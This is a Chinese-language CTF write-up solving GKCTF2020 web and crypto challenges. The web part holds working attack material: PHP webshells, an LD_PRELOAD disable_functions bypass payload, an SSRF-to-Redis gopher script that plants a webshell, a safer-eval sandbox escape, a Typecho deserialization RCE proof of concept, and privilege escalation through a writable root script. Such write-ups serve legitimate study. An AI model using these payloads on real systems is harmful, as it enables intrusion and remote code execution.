GKCTF2020--web
CheckIN
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
查看源码,不难发现, 有个eval()函数,并且将我们传入的参数进行base64解码再传入eval 没有任何过滤,传入ls 发现没用
phpinfo();
看看 看到disable_function 禁用了系统函数,我们写个马进去试试
eval($_POST[penson]);
由于他禁用了system函数,所以用蚁剑连接看看
发现根目录下有个readflag
估计就是要我们绕过disabled_function了
可以通过LD_PRELOAD
这个环境变量,具体原理百度都能搜到,就不放了。
POC链接
下载他的poc链接
在传文件的时候,发现/var/html/www下并没有写权限,而其他目录却有
所以我上传到/vat/tmp目录下
然后用include()包含我们上传的php文件
include('/var/tmp/bypass_disablefunc.php');
可以发现成功包含,利用POC执行/readflag payload
Ginkgo=aW5jbHVkZSgnL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCcpOw==&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so
cve版签到
题目给出了提示 搜一波 CVE漏洞介绍 关键在于get_headers()函数 点一下进去 大家应该都知道127.0.0.1是本地嘛,利用那个cve漏洞,加%00截断,访问本地进去 他说要是123 改成123 flag就出来了
[GKCTF2020]老八小超市儿
百度搜搜ShopXo漏洞 漏洞复现地址 进到后台直接使用默认账号密码登录 getshell 就按照教程来就行了
看上面给的链接一步一步来就行了,不多说了
Webshell的路径为/public/static/index/default/2.php
成功getshell
蚁剑连接
成功连接之后发现去根目录找flag,发现flag在/root目录下
这说明我们还得提权,获得更高的权限,可以发现有个特别红的玩意,我们点进去看看
有个python脚本,并且说出了他的位置,看一下python脚本
看的提示,说明这个脚本有root权限,属于root这个用户,并且这个脚本有写权限,
就可以根据这个python脚本来获取flag 因为这个脚本有写权限,就可以改下脚本,读取flag
但是呢这个脚本我们没有权限可以去执行,所以不行,回到根目录下的一个shell文件 他可以执行这个脚本 那咱们运行这个shell来看看 最终发现这个shell是可以成功运行的,flag到手
EzWeb
发个url发现一直卡在那里 发现有个secret 进去之后弹出linux 查询网卡信息的内容 给出了服务器ip,记录下ip地址 我们访问下ip 结果弹出两,不难发现是个SSRF SSRF漏洞利用讲解 根据上面文章,我们利用file协议读取下index.php
那试试扫端口 个人喜欢写脚本,不喜欢用bp,用bp也可以(这里还需要扫内网主机) 从1-255爆破ip最后一段即可 发现是11 然后扫端口 在网上找了个脚本扫端口 脚本作者链接
这个脚本和nmap好像都跑不出来..... 用bp吧。。
把ip改为扫到的内网主机ip,从0-65535开始扫
发现6379端口,可以用gopher协议攻击redis
攻击redis的方法以及EXP 本人是废物,写不出这种exp 这是python2的,改下ip 放kali里去
import urllib
protocol="gopher://"
ip="173.107.98.10"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
将生成的payload直接放过打 暂时不知道为什么一定要在那个url框中输入 应该是url编码的问题
传过后,再访问shell.php 记住需要绕空格 发现flag在根目录下,查看即可
EzNode
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
简单说下主要的漏洞代码吧,现在对node.js还不是很熟。。。。。
这一大段主要是在/eval这个路由下,首先他先设置delay的默认值,我们可以去到这个路由把delay的值传过去, 然后他会比较传过去的值和默认值,选较大的一方作为自己的值。然后就是设置超时,将秒数delay作为超时时限,超时了就进到下一个路由
可是我们无论怎么发都不可能超过6秒 问题出在了SetTimeout这个函数 存在溢出 关于这个函数详细分析 只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由 可以发现已经绕过那个时间限制了 接着看下一个路由 他这里要我们post传参e,,就是要让我们沙盒逃逸
搜一波这个库的漏洞,搜到一个CVE CVE漏洞POC 下面给出了更简单的POC,就是绝大多数wp的那个POC
https://github.com/commenthol/safer-eval/issues/10
把那个POC往上面放放,直接RCE 注意用法 查看根目录下flag
EzTypecho
是一个Typecho写的网站,搜搜这个东东有啥漏洞
这上面已经讲得很清楚了
大概意思呢就是通过反序列化,调用call_user_func(),来RCE,具体不详说了,文章里里已经写的很清楚,网上别的文章也讲得不错
放过去之后弹出说没有session 这是题目给出的源码就起作用了
发现他把session给禁了,所以打不通
往下看 有个start,用样存在反序列化的问题
可以发现成功RCE 接着更改那篇文章的POC,拿flag
<?phpclass Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'ls /'; //$this->_params['screenName'] = -1; $this->_filter[0] = 'system'; }}class Typecho_Feed{ const RSS2 = 'RSS 2.0'; /** 定义ATOM 1.0类型 */ const ATOM1 = 'ATOM 1.0'; /** 定义RSS时间格式 */ const DATE_RFC822 = 'r'; /** 定义ATOM时间格式 */ const DATE_W3CDTF = 'c'; /** 定义行结束符 */ const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; }}$x = new Typecho_Feed();$a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_');echo urlencode(base64_encode(serialize($a)));?>
查看根目录flag即可
CRYPTO
小学生的密码学
把他给出的表达式一搜,就有仿射密码 base64编码即可
汉字的秘密
百度一搜会搜到当铺密码 当铺密码原理解释
然后你会发现第一个字符ascii加一就是F,第二个字符加2就是L 正好是flag 写脚本跑
a =[69,74,62,67,118,83,72,77,86,55,71,57,82,57,64,63,51,103]str =""j=0for i in a: j += 1 str +=chr(i+j) print(i) print(str)
把y改成括号即可